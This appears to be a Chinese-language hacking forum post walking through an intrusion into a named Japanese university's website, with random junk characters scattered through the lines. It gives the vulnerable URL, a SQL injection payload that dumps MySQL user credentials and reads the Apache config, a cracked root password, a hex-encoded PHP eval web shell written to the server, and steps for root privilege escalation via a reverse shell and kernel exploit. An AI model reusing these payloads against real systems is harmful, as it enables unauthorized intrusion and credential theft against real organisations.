入侵日本同志社大学技术分析' ~' {4 f2 e& ]8 h5 I+ Y
# l% u/ b3 L, s6 G% ?5 t$ \2 yhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1
; V }+ }( ?5 i然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:+ `% p" z9 o ]8 v8 |1 Z/ Z8 M
( \( q0 k7 a+ `$ y
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
3 k( s0 W! I# q% J9 X# K L f; M3 C1 `
' k1 r7 j( u' Z" w" c \ V& _4 j Z8 V* Z5 F
//@@datadir为数据库文件路径
9 }* U; H, h% g ' ]) E" o" B. v9 @: l. x6 L
8 U# u# J/ _/ [: @
//load_file读取网站容器apache的配置文件
" F. J% b/ e, w1 o
$ N0 o4 e/ _6 d, r; Q* ?1 B ?0 h# J+ C" D/ E% b2 K, T0 v
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 , T/ r* w4 T+ n" p3 F: b* N
复制代码
: L' T& z; a$ F i3 M1 r. @ t) @/ R J: \* X7 v- J i2 ]
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
* x) Y$ ^! p6 v4 D6 |% [6 x3 a+ U) G0 L1 Y* E, V% j
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
$ p7 N: ~6 A0 {% S. Q% \(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
7 ?, ?0 y: |1 h2 O% m2 @( P/ y* x
% ?. [7 A# [" X/ _1 d, t' ~+ Z' c2 ]" u前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。& Z) H# A& v( L6 Y4 R
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
, U! b3 d' J, R2 h0 l& a$ q5 U4 i Z) S
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/$ E/ d- u; H6 L1 ^* P2 h
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。) m. ?, _5 [0 b% M# @ U
直接写一句话:
. W, E; w8 a* ~3 h2 G/ t
i6 I4 c& P7 Z# [' K' O, Phttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
( k: O2 C7 ~( w+ t6 R( E
' G) m# A' W' F* x 8 [% L7 V* W0 @* f2 S
4 K4 c( v5 H1 A4 O$ \- ?1 k/ p
//最后的#是为了闭合前面的语句 6 s& g: V% s- r$ ~2 k
, q! @( a' P: H8 L% l- J( a- O# j# g
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
D* Q- o- B! J: q- _
) {9 c, I+ S( f4 ^2 W' `+ a' c- v3 B( f, j% e: E* e
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ : I: F& U2 t8 R+ z# z- |
/ l+ _- _. o# p2 c
# I! P! }# a6 \
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 & t/ K$ j% \" k5 u" M2 Q
, M( @7 Q3 P6 ^
" f# r# {7 ^) ` R//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 / b+ Z) y x4 f+ d2 r
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” & V( b$ ?8 N* @6 O7 b$ x
复制代码# A, T7 W: s0 ~: @; N6 R
8 A) L. O* b9 I- w4 s0 }HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有% _; K9 {7 I& ^: P! d
通过上述注入语句,我们就得到了一句话木马:
( I" K( s; G" p$ V+ F$ p# M1 F+ D i" N. h& [. h( e# K8 h
; o" Z0 z' @) ~% B, C8 W0 n
) G- v# c* D4 u5 |4 f$ V! r
9 @+ ]4 C, N( I5 W1 o5 D0 T! v" }6 ?
) X, I- z! t/ w3 W- Whttp://www.doshisha.ac.jp/english/engnews_img/aa.php
- }/ K+ Y" }) I' ~7 B复制代码
. u0 G P% N$ q' V" o6 }/ j5 o7 U4 s Q& W
用菜刀连接,密码是cmd,如图所示:
) |- s' p, {. j r# b5 W* O然后在命令提示行里看了一下,现在的权限是:& C C1 K4 p! o% q& Z( o
' P4 I; _ }# A3 s- K* _* M4 Y
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
f6 t% }# x8 ~+ d; N: O! {. Y好在赋权给这个文件夹不需要root,直接执行赋权语句: Z, {+ l, l) o* D7 j
5 v0 p" i# t0 h; A4 v
. S1 L4 Z1 h" n: |. P% x
# F' u& J+ ]3 S; m : _( t5 ]8 n$ q1 \' W
8 ]+ o: `. k- @) f/ U
chmod +x /tmp/
+ X4 P0 P2 ]' U; o ?* f复制代码2 }" K% A' G. W* E5 ]" H1 A# K' y
5 ?! h, u4 Y- I在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行& ]0 @$ i& r3 r) w$ v V3 c* O
然后就查了一下内核版本:& I4 c+ b8 u1 [, \
F$ Y( _ ?6 ~, n
( t+ r- T* M* u( |, B R/ C& }; w* o
- {- x8 k( U& ]
! X/ z0 H' R( T: T& a3 V' L
uname-a
8 q5 h7 G* ~- W3 |
# E# @% _* C" g: }' u% @+ r+ Q, W* j" F0 D
//其实lsb_release -a
5 S; s5 J7 ?. O复制代码
# l5 u l) X) h" f( `: j
* R& o* d0 y) c3 ^' _如图所示:* c: X" i: `4 t
& @3 p7 F( [7 A+ G% p4 ?内核版本:linux mainz1 2.6.28-194.e15
, k# i+ k: x3 H9 _系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)3 {0 T* r6 t2 \3 N- I8 T
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹0 F! J8 x8 u+ X! ]# B: C6 R
' m0 x2 d g7 o6 Y8 o! m
然后给予执行权限! Z% n+ [5 t D- g& h9 X3 ?; u0 `
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
9 \( [; D* D! U p: F5 O- j" D! t$ V; j! w
2 X7 j: ^3 W9 U
5 N: R) R6 k$ L
5 K2 C; _7 k% q' y
! ~9 O) r# H9 A! U9 \& Q* g, ychmod +x /tmp/2.6.18-194 & M [' U3 y9 H' ]3 [! e
复制代码 然后直接执行!~
; V8 Q" ]: i( H+ E
9 H$ j# C. @$ W8 n总结: a, V* W: N: V( W9 C! |4 w
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了/ D9 ]( ~0 t3 @: L6 M3 w6 |
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
6 e+ H3 B- P* g6 D5 c4 }8 u! C3 {
5 G5 N1 w0 F1 E& _$ k0 r' o a |